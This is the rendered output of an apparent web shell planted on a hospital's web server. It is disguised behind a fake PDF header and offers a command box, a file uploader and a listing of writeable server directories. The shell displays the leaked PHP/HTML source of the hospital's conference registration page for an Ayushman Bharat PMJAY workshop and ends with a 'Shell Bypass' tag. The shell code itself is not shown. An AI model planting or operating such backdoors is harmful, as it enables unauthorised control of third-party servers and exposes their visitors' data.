%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardahospital.org/application/views/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardahospital.org/application/views/cme.php
<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>
      Conference Event: Ayushman Bharat Implementation - Sharda Hospital
    </title>
	<meta name="description" content="Join us at Sharda Hospital for a National Conference and Advanced Workshop on the Implementation of Ayushman Bharat - PMJAY Scheme in Hospitals. Strengthen healthcare delivery through PMJAY. 📍 Venue: Sharda University, Greater Noida 🗓️ Date: 23rd - 24th September 2025.">
    <meta name="keywords" content="National Conference Ayushman Bharat PMJAY, PMJAY Scheme Workshop, Ayushman Bharat implementation, healthcare delivery conference, Sharda Hospital conference, PMJAY in hospitals, Ayushman Bharat PMJAY Greater Noida, Sharda University PMJAY event, healthcare conference September 2025">
    <link rel="preconnect" href="https://fonts.googleapis.com" />
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin />
    <link
      href="https://fonts.googleapis.com/css2?family=Poppins:wght@400;600;700&display=swap"
      rel="stylesheet"
    />
    <script src="https://cdn.tailwindcss.com"></script>
    <style>
      /* Custom styles to complement Tailwind */
      :root {
        /* Orange Gradient Theme */
        --primary-color: #f97316; /* Orange 500 */
        --secondary-color: #ea580c; /* Orange 600 */
        --text-dark: #333;
      }
      body {
        font-family: "Poppins", sans-serif;
      }
      .hero {
        background: linear-gradient(rgb(255 138 56 / 60%), rgb(37 37 37 / 60%)),
          url(<?= base_url('assests/imgs/hosfile.png');?>)
            no-repeat center center / cover;
      }
      .bg-primary {
        background-color: var(--primary-color);
      }
      .text-primary {
        color: var(--primary-color);
      }
      .border-primary {
        border-color: var(--primary-color);
      }
      .bg-gradient-main {
        background-image: linear-gradient(
          to right,
          var(--primary-color),
          var(--secondary-color)
        );
      }
      .hover\:bg-primary-dark:hover {
        background-color: #d95b0c;
      }

      /* FAQ Accordion Arrow */
      .faq-item summary::-webkit-details-marker {
        display: none;
      }
      .faq-item summary::after {
        content: "+";
        font-size: 1.5rem;
        color: var(--primary-color);
        transition: transform 0.3s ease;
      }
      .faq-item[open] summary::after {
        transform: rotate(45deg);
      }
      .sp {
        width: 106px;
        display: flex;
        justify-content: center;
        align-items: center;
      }
    </style>
  </head>
  <body class="text-gray-800">
    <!-- Sticky Header with Logos -->
    <nav class="bg-white shadow-md sticky top-0 z-50">
      <div
        class="container mx-auto px-6 py-3 flex items-center justify-between"
      >
        <!-- Logo 1 -->
        <a href="https://www.shardahospital.org/" target="_blank">
          <img
            src="https://www.shardahospital.org/assests/images/Sharda-Hospital-Logo.png"
            alt="Sharda Hospital Logo"
            class="w-20 sm:w-20 md:w-24 lg:w-32"
            onerror="this.onerror=null;this.src='https://placehold.co/200x50/ffffff/F97316?text=Sharda+Hospital';"
          />
        </a>

        <!-- Logo 2 -->
        <a href="https://www.sharda.ac.in/" target="_blank">
          <img
            src="<?= base_url('assests/imgs/university.png'); ?>"
            alt="Logo 2"
            class="w-20 sm:w-20 md:w-24 lg:w-32"
          />
        </a>

        <!-- Logo 3 -->
        <a href="https://www.shardacare.com/" target="_blank">
          <img
            src="<?= base_url('assests/imgs/care.png'); ?>"
            alt="Logo 3"
            class="w-20 sm:w-20 md:w-24 lg:w-32"
          />
        </a>
      </div>
    </nav>

    <!-- 1. Hero Section -->
    <header class="hero text-white text-center py-20 md:py-24">
      <div class="container mx-auto px-6">
        <!-- Font sizes reduced for a cleaner look -->
        <h1 class="text-2xl md:text-4xl font-bold leading-tight mb-4">
          National Conference Cum Advanced Workshop on <br />Implementation of
          Ayushman Bharat - PMJAY Scheme in Hospitals
        </h1>
        <p class="text-base md:text-lg max-w-3xl mx-auto mb-6">
          Join us at Sharda Hospital for a Conference dedicated to strengthening
          healthcare delivery through PMJAY.
        </p>
        <div
          class="flex flex-wrap justify-center gap-x-6 gap-y-3 mb-8 text-base"
        >
          <span
            >📍 <strong>Venue:</strong> Sharda University, Greater Noida</span
          >
          <span>🗓️ <strong>Date:</strong> 23rd - 24th September 2025 </span>
        </div>
        <div
          class="flex flex-col sm:flex-row justify-center items-center gap-4"
        >
          <a
            href="<?= base_url('ayusharda-2025/registration_form'); ?>"
            class="bg-white text-orange-600 font-bold py-3 px-8 rounded-full transition duration-300 transform hover:scale-105 w-full sm:w-auto"
            >Register Now</a
          >
          <a
            href="tel:8800061758"
            class="bg-transparent border-2 border-white hover:bg-white hover:text-orange-600 font-bold py-3 px-8 rounded-full transition duration-300 w-full sm:w-auto"
            >Contact Conference Helpdesk: 8800061758</a
          >
        </div>
      </div>
    </header>

    <main>
      <!-- 2. About the Conference -->
      <section id="about-Conference" class="py-16">
        <div class="container mx-auto px-6">
          <h2
            class="text-3xl md:text-4xl font-bold text-gray-800 text-center mb-4"
          >
            Why This Workshop?
          </h2>
          <p class="max-w-3xl mx-auto text-gray-600 mb-10 text-center">
            The Conference is designed to guide healthcare professionals,
            administrators and hospital leaders in effectively implementing
            Ayushman Bharat – PMJAY Scheme. Key focus areas include:
          </p>
          <div class="max-w-4xl mx-auto grid md:grid-cols-2 gap-8">
            <div class="bg-gray-50 p-6 rounded-lg flex items-start gap-4">
              <svg
                class="w-6 h-6 text-primary flex-shrink-0 mt-1"
                fill="none"
                stroke="currentColor"
                viewBox="0 0 24 24"
                xmlns="http://www.w3.org/2000/svg"
              >
                <path
                  stroke-linecap="round"
                  stroke-linejoin="round"
                  stroke-width="2"
                  d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-3 7h3m-3 4h3m-6-4h.01M9 16h.01"
                ></path>
              </svg>
              <p>Understanding operational frameworks of PMJAY.</p>
            </div>
            <div class="bg-gray-50 p-6 rounded-lg flex items-start gap-4">
              <svg
                class="w-6 h-6 text-primary flex-shrink-0 mt-1"
                fill="none"
                stroke="currentColor"
                viewBox="0 0 24 24"
                xmlns="http://www.w3.org/2000/svg"
              >
                <path
                  stroke-linecap="round"
                  stroke-linejoin="round"
                  stroke-width="2"
                  d="M19 21V5a2 2 0 00-2-2H7a2 2 0 00-2 2v16m14 0h2m-2 0h-5m-9 0H3m2 0h5M9 7h1m-1 4h1m4-4h1m-1 4h1m-5 10v-5a1 1 0 011-1h2a1 1 0 011 1v5m-4 0h4"
                ></path>
              </svg>
              <p>Integrating scheme processes with hospital workflows.</p>
            </div>
            <div class="bg-gray-50 p-6 rounded-lg flex items-start gap-4">
              <svg
                class="w-6 h-6 text-primary flex-shrink-0 mt-1"
                fill="none"
                stroke="currentColor"
                viewBox="0 0 24 24"
                xmlns="http://www.w3.org/2000/svg"
              >
                <path
                  stroke-linecap="round"
                  stroke-linejoin="round"
                  stroke-width="2"
                  d="M17 9V7a2 2 0 00-2-2H5a2 2 0 00-2 2v6a2 2 0 002 2h2m2 4h10a2 2 0 002-2v-6a2 2 0 00-2-2H9a2 2 0 00-2 2v6a2 2 0 002 2zm7-5a2 2 0 11-4 0 2 2 0 014 0z"
                ></path>
              </svg>
              <p>Financial planning & reimbursement under Ayushman Bharat.</p>
            </div>
            <div class="bg-gray-50 p-6 rounded-lg flex items-start gap-4">
              <svg
                class="w-6 h-6 text-primary flex-shrink-0 mt-1"
                fill="none"
                stroke="currentColor"
                viewBox="0 0 24 24"
                xmlns="http://www.w3.org/2000/svg"
              >
                <path
                  stroke-linecap="round"
                  stroke-linejoin="round"
                  stroke-width="2"
                  d="M13 10V3L4 14h7v7l9-11h-7z"
                ></path>
              </svg>
              <p>
                Improving patient access through streamlined implementation.
              </p>
            </div>
          </div>
        </div>
      </section>

      <!-- Ticket Pricing and Notes Section -->

      <!-- 3. Why Attend at Sharda Hospital? -->
      <section id="why-attend" class="py-16">
        <div class="container mx-auto px-6">
          <h2
            class="text-3xl md:text-4xl font-bold text-gray-800 text-center mb-12"
          >
            What Makes This Conference Unique?
          </h2>
          <div class="grid gap-12 items-center">
            <div class="space-y-6">
              <div
                class="bg-white p-6 rounded-lg border-l-4 border-primary shadow-md"
              >
                NABH-accredited, 1750+ bed teaching & super-speciality hospital.
              </div>
              <div
                class="bg-white p-6 rounded-lg border-l-4 border-primary shadow-md"
              >
                Experienced faculty with hands-on knowledge of PMJAY
                implementation.
              </div>
              <div
                class="bg-white p-6 rounded-lg border-l-4 border-primary shadow-md"
              >
                Live demonstration of workflow integration.
              </div>
              <div
                class="bg-white p-6 rounded-lg border-l-4 border-primary shadow-md"
              >
                Networking with healthcare leaders & policymakers.
              </div>
              <div
                class="bg-white p-6 rounded-lg border-l-4 border-primary shadow-md"
              >
                Certificate of participation.
              </div>
            </div>
            <!-- <div class="hidden lg:block">
                        <img src="https://images.pexels.com/photos/3184328/pexels-photo-3184328.jpeg?auto=compress&cs=tinysrgb&w=1260&h=750&dpr=1" alt="Professionals networking at a conference" class="rounded-lg shadow-xl" onerror="this.onerror=null;this.src='https://placehold.co/600x400/F97316/FFFFFF?text=Networking';">
                    </div> -->
          </div>
        </div>
      </section>

      <!-- 4. Target Audience -->
      <section id="audience" class="py-16 bg-gray-50">
        <div class="container mx-auto px-6 text-center">
          <h2 class="text-3xl md:text-4xl font-bold text-gray-800 mb-12">
            Who Should Attend?
          </h2>
          <div class="flex flex-wrap justify-center gap-4 max-w-4xl mx-auto">
            <span
              class="bg-gray-200 text-gray-800 font-semibold py-2 px-5 rounded-full"
              >Hospital Administrators</span
            >
            <span
              class="bg-gray-200 text-gray-800 font-semibold py-2 px-5 rounded-full"
              >Medical Directors & Clinical Heads</span
            >
            <span
              class="bg-gray-200 text-gray-800 font-semibold py-2 px-5 rounded-full"
              >Finance & Billing Officers</span
            >
            <span
              class="bg-gray-200 text-gray-800 font-semibold py-2 px-5 rounded-full"
              >Doctors & Nurses</span
            >
            <span
              class="bg-gray-200 text-gray-800 font-semibold py-2 px-5 rounded-full"
              >Healthcare Policy Professionals</span
            >
            <span
              class="bg-gray-200 text-gray-800 font-semibold py-2 px-5 rounded-full"
              >Healthcare Provider</span
            >
            <span
              class="bg-gray-200 text-gray-800 font-semibold py-2 px-5 rounded-full"
              >Students</span
            >
          </div>
        </div>
      </section>
      <section id="agenda" class="py-16">
  <div class="container mx-auto px-6">
    <h2 class="text-3xl md:text-4xl font-bold text-gray-800 text-center mb-12">
      Workshop Agenda
    </h2>
    <div class="max-w-3xl mx-auto space-y-3">
      <div class="bg-white p-4 rounded-lg shadow-sm flex items-center gap-4">
        <span class="bg-gradient-main text-white text-sm font-bold py-1 px-3 rounded-full flex-shrink-0 text-center w-28 md:w-48">
          Keynote
        </span>
        The Future of Ayushman Bharat in Indian Healthcare
      </div>
      <div class="bg-white p-4 rounded-lg shadow-sm flex items-center gap-4">
        <span class="bg-gradient-main text-white text-sm font-bold py-1 px-3 rounded-full flex-shrink-0 text-center w-28 md:w-48">
          Integration
        </span>
        ABHA Compliances with Digital Health and Data Integration in Ayushman Bharat
      </div>
      <div class="bg-white p-4 rounded-lg shadow-sm flex items-center gap-4">
        <span class="bg-gradient-main text-white text-sm font-bold py-1 px-3 rounded-full flex-shrink-0 text-center w-28 md:w-48">
          Panel
        </span>
        Challenges & Opportunities for Private Hospitals
      </div>
      <div class="bg-white p-4 rounded-lg shadow-sm flex items-center gap-4">
        <span class="bg-gradient-main text-white text-sm font-bold py-1 px-3 rounded-full flex-shrink-0 text-center w-28 md:w-48">
          Session
        </span>
        Claim & Reimbursement Process
      </div>
      <div class="bg-white p-4 rounded-lg shadow-sm flex items-center gap-4">
        <span class="bg-gradient-main text-white text-sm font-bold py-1 px-3 rounded-full flex-shrink-0 text-center w-28 md:w-48">
          Case Study
        </span>
        Successful Implementation of Ayushman Bharat Scheme in Hospitals
      </div>
      <div class="bg-white p-4 rounded-lg shadow-sm flex items-center gap-4">
        <span class="bg-gradient-main text-white text-sm font-bold py-1 px-3 rounded-full flex-shrink-0 text-center w-28 md:w-48">
          Hands-On
        </span>
        Digital & Documentation Flow for PMJAY
      </div>
      <div class="bg-white p-4 rounded-lg shadow-sm flex items-center gap-4">
        <span class="bg-gradient-main text-white text-sm font-bold py-1 px-3 rounded-full flex-shrink-0 text-center w-28 md:w-48">
          Networking
        </span>
        Q&A and Networking Session
      </div>
    </div>
    <div class="text-center mt-12">
      </div>
  </div>
</section>

      <!-- Panel Discussions & Debate Section -->
      <section id="panel-discussions" class="py-16 bg-gray-50">
        <div class="container mx-auto px-6">
          <h2
            class="text-3xl md:text-4xl font-bold text-gray-800 text-center mb-12"
          >
            Discussions & Debates
          </h2>
          <div class="max-w-4xl mx-auto space-y-10">
            <!-- Panel Discussion 1 -->
            <div
              class="bg-white p-6 rounded-lg shadow-md border-l-4 border-primary"
            >
              <h3 class="text-2xl font-bold text-gray-800 mb-2">
                Panel Discussion 1
              </h3>
              <p class="text-lg font-semibold text-gray-700 mb-4">
                Topic: Role of Private Hospitals in Ayushman Bharat
              </p>
              <ul class="space-y-2 text-gray-600 list-disc list-inside">
                <li>
                  Officals From State Health Agency & Sachis - To Be Decided
                </li>
                <li>Dr. (Brig) Ram Murti Sharma, MS, Sharda Hospital</li>
                <li>
                  Dr. (AVM) Ashutosh Sharma, MS, Amrita Hospital, Faridabad
                </li>
               
              </ul>
            </div>
            <!-- Panel Discussion 2 -->
            <div
              class="bg-white p-6 rounded-lg shadow-md border-l-4 border-primary"
            >
              <h3 class="text-2xl font-bold text-gray-800 mb-2">
                Panel Discussion 2
              </h3>
              <p class="text-lg font-semibold text-gray-700 mb-4">
                Topic: Ethical Challenges in Free Healthcare under Ayushman
                Bharat
              </p>
              <ul class="space-y-2 text-gray-600 list-disc list-inside">
                <li>
                  Officals From State Health Agency & Sachis - To Be Decided
                </li>
                <li>Dr. Ravindra Srivastava (Neurosurgeon), Sharda Hospital</li>
                <li>
                  Dr. Subhendu Mohanty (Interventional Cardiologist), Sharda
                  Hospital
                </li>
                <li>
                  Dr. Anil Thakwani (Radiation Oncologist), Sharda Hospital
                </li>
              </ul>
            </div>
            <!-- Debate -->
            <div
              class="bg-white p-6 rounded-lg shadow-md border-l-4 border-primary"
            >
              <h3 class="text-2xl font-bold text-gray-800 mb-2">Debate</h3>
              <p class="text-lg font-semibold text-gray-700 mb-4">
                Topic: “Public-Private Synergy in Ayushman Bharat: Boon or
                Burden for Hospital?”
              </p>
              <ul class="space-y-2 text-gray-600 list-disc list-inside">
                <li>
                  Officals From State Health Agency & Sachis - To Be Decided
                </li>
                <li>
                  Dr. (Brig) Rakesh Kumar Gupta, Director, GIMS Greater Noida
                </li>
                <li>Dr. A.K. Gadpayle, Mahanandan Super Speciality Hospital</li>
              </ul>
            </div>
          </div>
        </div>
      </section>
      <!-- <div class="text-center">
                         <h3 class="font-bold text-lg">Dr.Rishabh Gupta</h3>
                        <p class="text-gray-500">Vice President</p>
                    </div> -->
      <!-- 7. Speakers & Faculty -->
      <section id="speakers" class="py-16">
        <div class="container mx-auto px-6">
          <h2
            class="text-3xl md:text-4xl font-bold text-gray-800 text-center mb-12"
          >
            Speakers
          </h2>

          <div class="grid grid-cols-1 sm:grid-cols-2 lg:grid-cols-3 gap-8">
            <div class="text-center bg-gray-50 p-6 rounded-lg shadow-sm">
              <h3 class="font-bold text-lg">State Health Agency & SACHIS</h3>
              <p class="text-gray-500">Officials & Representatives</p>
            </div>
       
            <div class="text-center bg-gray-50 p-6 rounded-lg shadow-sm">
              <h3 class="font-bold text-lg">Dr. (Brig) Rakesh Kumar Gupta</h3>
              <p class="text-gray-500">Director, GIMS Greater Noida</p>
            </div>

            <div class="text-center bg-gray-50 p-6 rounded-lg shadow-sm">
              <h3 class="font-bold text-lg">Dr. (AVM) Ashutosh Sharma</h3>
              <p class="text-gray-500">MS, Amrita Hospital, Faridabad</p>
            </div>
            <div class="text-center bg-gray-50 p-6 rounded-lg shadow-sm">
              <h3 class="font-bold text-lg">Dr. Manish Sabharwal</h3>
              <p class="text-gray-500">MD, Santosh Hospital</p>
            </div>
            <!-- <div class="text-center bg-gray-50 p-6 rounded-lg shadow-sm">
              <h3 class="font-bold text-lg">null</h3>
              <p class="text-gray-500">MS, Subharti Hospital</p>
            </div> -->
            <div class="text-center bg-gray-50 p-6 rounded-lg shadow-sm">
              <h3 class="font-bold text-lg">Dr. (Brig) Ram Murti Sharma</h3>
              <p class="text-gray-500">MS, Sharda Hospital</p>
            </div>
            <div class="text-center bg-gray-50 p-6 rounded-lg shadow-sm">
              <h3 class="font-bold text-lg">Dr. Ravindra Srivastava</h3>
              <p class="text-gray-500">Neurosurgeon, Sharda Hospital</p>
            </div>
            <div class="text-center bg-gray-50 p-6 rounded-lg shadow-sm">
              <h3 class="font-bold text-lg">Dr. Subhendu Mohanty</h3>
              <p class="text-gray-500">
                Interventional Cardiologist, Sharda Hospital
              </p>
            </div>
            <div class="text-center bg-gray-50 p-6 rounded-lg shadow-sm">
              <h3 class="font-bold text-lg">Dr. Anil Thakwani</h3>
              <p class="text-gray-500">Radiation Oncologist, Sharda Hospital</p>
            </div>
                 <div class="text-center bg-gray-50 p-6 rounded-lg shadow-sm">
              <h3 class="font-bold text-lg">Dr. Devendra Kumar Singh </h3>
              <p class="text-gray-500">Respiratory Medicine, Sharda Hospital</p>
            </div>
          </div>
        </div>
      </section>

      <!-- 6. Registration & Process -->
      <section id="register" class="py-16">
        <div class="container mx-auto px-6 text-center">
          <h2 class="text-3xl md:text-4xl font-bold text-gray-800 mb-12">
            How to Register?
          </h2>
          <div class="grid md:grid-cols-3 gap-12 max-w-5xl mx-auto">
            <div class="text-center">
              <div
                class="w-20 h-20 bg-gradient-main text-white rounded-full flex items-center justify-center text-3xl font-bold mx-auto mb-4"
              >
                1
              </div>
              <h3 class="text-xl font-bold text-gray-800 mb-2">
                Fill the Form
              </h3>
              <p class="text-gray-600">
                Click on ‘Register Now’ and fill in the detailed form.
              </p>
            </div>
            <div class="text-center">
              <div
                class="w-20 h-20 bg-gradient-main text-white rounded-full flex items-center justify-center text-3xl font-bold mx-auto mb-4"
              >
                2
              </div>
              <h3 class="text-xl font-bold text-gray-800 mb-2">
                Complete Payment
              </h3>
              <p class="text-gray-600">
                Complete the secure online payment process.
              </p>
            </div>
            <div class="text-center">
              <div
                class="w-20 h-20 bg-gradient-main text-white rounded-full flex items-center justify-center text-3xl font-bold mx-auto mb-4"
              >
                3
              </div>
              <h3 class="text-xl font-bold text-gray-800 mb-2">
                Get Confirmation
              </h3>
              <p class="text-gray-600">
                Receive confirmation mail & entry pass.
              </p>
            </div>
          </div>
          <div class="mt-12">
            <a
              href="<?= base_url('ayusharda-2025/registration_form'); ?>"
              class="bg-gradient-main hover:bg-primary-dark text-white font-bold py-3 px-8 rounded-full transition duration-300 transform hover:scale-105"
              >Register Now</a
            >
          </div>
        </div>
      </section>
      <section id="pricing" class="py-16 bg-gray-100">
        <div class="container mx-auto px-6">
          <h2
            class="text-3xl md:text-4xl font-bold text-gray-800 text-center mb-12"
          >
            Registration Fee
          </h2>
          <div class="max-w-2xl mx-auto text-gray-700 space-y-3 mb-8">
            <div
              class="bg-white p-4 rounded-lg shadow-md flex justify-between items-center"
            >
              <div>
                <span class="font-semibold">Early Bird Pass</span>
                <p class="text-sm text-gray-500">25 Aug to 15 Sep</p>
              </div>
              <span class="font-bold text-primary text-lg">₹1000</span>
            </div>
            <div
              class="bg-white p-4 rounded-lg shadow-md flex justify-between items-center"
            >
              <div>
                <span class="font-semibold">Online Participation </span>
                <!-- <p class="text-sm text-gray-500">Payable at Venue Counter</p> -->
              </div>
              <span class="font-bold text-primary text-lg">₹500</span>
            </div>
            <div
              class="bg-white p-4 rounded-lg shadow-md flex justify-between items-center"
            >
              <span class="font-semibold">After 15 Sep 2025</span>
              <span class="font-bold text-primary text-lg">₹2000</span>
            </div>
            <div
              class="bg-white p-4 rounded-lg shadow-md flex justify-between items-center"
            >
              <span class="font-semibold">Delegates Pass</span>
              <span class="font-bold text-primary text-lg">₹2000</span>
            </div>
            <div
              class="bg-white p-4 rounded-lg shadow-md flex justify-between items-center"
            >
              <div>
                <span class="font-semibold"
                  >Student Pass (only For Students)</span
                >
                <p class="text-sm text-gray-500">Valid ID Required</p>
              </div>
              <span class="font-bold text-primary text-lg">₹500</span>
            </div>
            <div
              class="bg-white p-4 rounded-lg shadow-md flex justify-between items-center"
            >
              <div>
                <span class="font-semibold">On-Spot Registration</span>
                <p class="text-sm text-gray-500">Payable at Venue Counter</p>
              </div>
              <span class="font-bold text-primary text-lg">₹2500</span>
            </div>
          </div>

          <div
            class="text-center font-bold text-gray-700 my-8 py-3 bg-yellow-200 border-y-4 border-yellow-400"
          >
            + YOUR PASS, YOUR RESPONSIBILITY! +
          </div>

          <div
            class="mt-8 max-w-2xl mx-auto bg-red-50 border-l-4 border-red-500 text-red-800 p-6 rounded-r-lg shadow-lg"
            role="alert"
          >
            <h3 class="font-bold text-xl mb-3">▲ IMPORTANT NOTE ▲</h3>
            <ul class="list-disc list-inside space-y-2">
              <li>
                <strong>No Cancellations:</strong> Once registered, your booking
                is final.
              </li>
              <li>
                <strong>Non-Transferable:</strong> Your pass is valid only for
                you.
              </li>
              <li>Respect the rules. Enjoy the event hassle-free!</li>
              <li>All registered participants, across all categories, will be provided with an online certificate</li>
            </ul>
          </div>
          <div class="text-center mt-12">
            <a
              href="<?= base_url('ayusharda-2025/registration_form'); ?>"
              class="bg-gradient-main hover:bg-primary-dark text-white font-bold py-3 px-10 rounded-full transition duration-300 transform hover:scale-105 text-lg"
              >Register Now
            </a>
          </div>
        </div>
      </section>
      <!-- 8. FAQs -->
      <section id="faq" class="py-16">
        <div class="container mx-auto px-6">
          <h2
            class="text-3xl md:text-4xl font-bold text-gray-800 text-center mb-12"
          >
            Frequently Asked Questions
          </h2>
          <div class="max-w-3xl mx-auto space-y-4">
            <details class="faq-item bg-white p-4 rounded-lg shadow-sm border">
              <summary
                class="font-semibold text-lg cursor-pointer flex justify-between items-center"
              >
                What is the registration fee?
              </summary>
              <div class="mt-3 text-gray-600">
                <p>
                  The registration fees are listed above. We have options for
                  early birds, general attendees, delegates, and special passes
                  for Sharda students.
                </p>
              </div>
            </details>
            <details class="faq-item bg-white p-4 rounded-lg shadow-sm border">
              <summary
                class="font-semibold text-lg cursor-pointer flex justify-between items-center"
              >
                Is the event Conference-accredited?
              </summary>
              <div class="mt-3 text-gray-600">
                <p>
                  Yes, the workshop is Conference-accredited. Credit hours will
                  be awarded to all participants upon completion.
                </p>
              </div>
            </details>
            <details class="faq-item bg-white p-4 rounded-lg shadow-sm border">
              <summary
                class="font-semibold text-lg cursor-pointer flex justify-between items-center"
              >
                Will participants get certificates?
              </summary>
              <div class="mt-3 text-gray-600">
                <p>
                  Yes, all registered attendees who complete the workshop will
                  receive a certificate of participation.
                </p>
              </div>
            </details>
            <details class="faq-item bg-white p-4 rounded-lg shadow-sm border">
              <summary
                class="font-semibold text-lg cursor-pointer flex justify-between items-center"
              >
                Can group registrations be made?
              </summary>
              <div class="mt-3 text-gray-600">
                <p>
                  Yes, we offer special packages for group registrations of 5 or
                  more participants. Please contact our helpdesk for more
                  details.
                </p>
              </div>
            </details>
          </div>
        </div>
      </section>

      <!-- 9. Closing Section -->
      <section class="bg-gradient-main text-white text-center py-16">
        <div class="container mx-auto px-6">
          <h2 class="text-3xl md:text-4xl font-bold mb-4">
            Secure Your Spot for the Conference
          </h2>
          <p class="text-lg md:text-xl max-w-3xl mx-auto mb-8">
            Be part of an advanced workshop shaping the future of Ayushman
            Bharat in hospitals.
          </p>
          <div
            class="flex flex-col sm:flex-row justify-center items-center gap-4"
          >
            <a
              href="<?= base_url('ayusharda-2025/registration_form'); ?>"
              class="bg-white text-orange-600 font-bold py-3 px-8 rounded-full transition duration-300 transform hover:scale-105 w-full sm:w-auto"
              >Register Now</a
            >
            <a
              href="tel:8800061758"
              class="bg-transparent border-2 border-white hover:bg-white hover:text-orange-600 font-bold py-3 px-8 rounded-full transition duration-300 w-full sm:w-auto"
              >Call 8800061758 for Assistance</a
            >
          </div>
        </div>
      </section>
    </main>

    <script>
      // JavaScript to ensure only one FAQ item is open at a time.
      document.addEventListener("DOMContentLoaded", function () {
        const allDetails = document.querySelectorAll(".faq-item");
        allDetails.forEach((details) => {
          details.addEventListener("toggle", (event) => {
            if (details.open) {
              allDetails.forEach((otherDetails) => {
                if (otherDetails !== details && otherDetails.open) {
                  otherDetails.removeAttribute("open");
                }
              });
            }
          });
        });
      });
    </script>
  </body>
</html>

Kontol Shell Bypass